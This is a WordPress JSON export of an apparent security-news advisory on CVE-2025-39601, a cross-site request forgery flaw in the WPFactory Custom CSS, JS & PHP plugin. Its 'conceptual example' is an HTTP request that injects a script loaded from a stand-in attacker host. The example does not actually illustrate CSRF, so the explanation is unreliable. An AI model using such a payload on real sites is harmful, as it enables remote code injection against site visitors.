{"id":29414,"date":"2025-04-23T05:51:01","date_gmt":"2025-04-23T05:51:01","guid":{"rendered":""},"modified":"2025-05-30T17:54:04","modified_gmt":"2025-05-30T23:54:04","slug":"cve-2025-39601-cross-site-request-forgery-vulnerability-in-wpfactory-custom-css-js-php","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-39601-cross-site-request-forgery-vulnerability-in-wpfactory-custom-css-js-php\/","title":{"rendered":"<strong>CVE-2025-39601: Cross-Site Request Forgery Vulnerability in WPFactory Custom CSS, JS &#038; PHP<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A critical vulnerability has been identified in the WPFactory Custom CSS, JS &#038; PHP plugin, a popular tool used to customize the appearance and functionality of websites. This vulnerability, referenced as CVE-2025-39601, allows for Cross-Site Request Forgery (CSRF), potentially leading to remote code inclusion. If exploited, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0213-buffer-overflow-vulnerability-in-ta-for-linux-and-macos-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"33892\">vulnerability may result in system<\/a> compromise or data leakage, posing a serious risk to any website using the affected versions of the plugin. It is crucial for website <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26959-privilege-escalation-vulnerability-in-quy-le-91-administrator-z\/\"  data-wpil-monitor-id=\"34988\">administrators and developers to understand this vulnerability<\/a> and act promptly to mitigate it.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-39601<br \/>\nSeverity: Critical (9.6 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50350-broken-cryptographic-algorithm-leads-to-potential-data-leakage-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33696\">Potential system compromise or data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-469273847\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>WPFactory Custom CSS, JS &#038; PHP | n\/a through 2.4.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50123-exploitable-vulnerability-in-hozard-alarm-system-sms-authentication\/\"  data-wpil-monitor-id=\"34947\">vulnerability exploits<\/a> a weakness in the WPFactory Custom CSS, JS &#038; PHP plugin&#8217;s validation of user inputs. An attacker can trick a legitimate <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-1950-local-user-command-execution-vulnerability-in-ibm-hardware-management-console\/\"  data-wpil-monitor-id=\"40546\">user into unknowingly executing<\/a> unwanted actions on their behalf. These actions can range from changing the user&#8217;s email address or password to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21860-arbitrary-code-execution-vulnerability-in-openharmony\/\"  data-wpil-monitor-id=\"33847\">executing arbitrary code<\/a>, all depending on the permissions of the user. By doing so, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48263-unauthenticated-remote-attack-leading-to-dos-and-potential-rce\/\"  data-wpil-monitor-id=\"34364\">attacker can potentially<\/a> gain control over the system or access sensitive data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-37633296\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example using a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4829-critical-buffer-overflow-vulnerability-in-totolink-http-post-request-handler\/\"  data-wpil-monitor-id=\"52242\">HTTP request<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ &quot;malicious_payload&quot;: &quot;&lt;script src=&#039;http:\/\/attacker.com\/evil-script.js&#039;&gt;&lt;\/script&gt;&quot; }<\/code><\/pre>\n<p>In this example, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-35996-cross-site-scripting-attack-in-kunbus-pictory\/\"  data-wpil-monitor-id=\"42844\">attacker sends a request that includes a malicious script<\/a> hosted on their server. If the victim&#8217;s browser processes this request, the script is executed, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-52304-stack-overflow-vulnerability-in-paddlepaddle-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"34028\">potentially leading to the attacker gaining control over the system<\/a> or accessing sensitive data.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The best course of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46342-kyverno-policy-engine-vulnerability-enables-unauthorized-actions-in-kubernetes\/\"  data-wpil-monitor-id=\"42711\">action to mitigate this vulnerability<\/a> is to apply the patch provided by the vendor. However, if immediate patching is not an option, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary protection by detecting and blocking malicious requests.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A critical vulnerability has been identified in the WPFactory Custom CSS, JS &#038; PHP plugin, a popular tool used to customize the appearance and functionality of websites. This vulnerability, referenced as CVE-2025-39601, allows for Cross-Site Request Forgery (CSRF), potentially leading to remote code inclusion. If exploited, this vulnerability may result in system compromise or [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[90],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-29414","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-csrf"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/29414","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=29414"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/29414\/revisions"}],"predecessor-version":[{"id":46737,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/29414\/revisions\/46737"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=29414"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=29414"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=29414"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=29414"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=29414"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=29414"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=29414"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=29414"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=29414"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}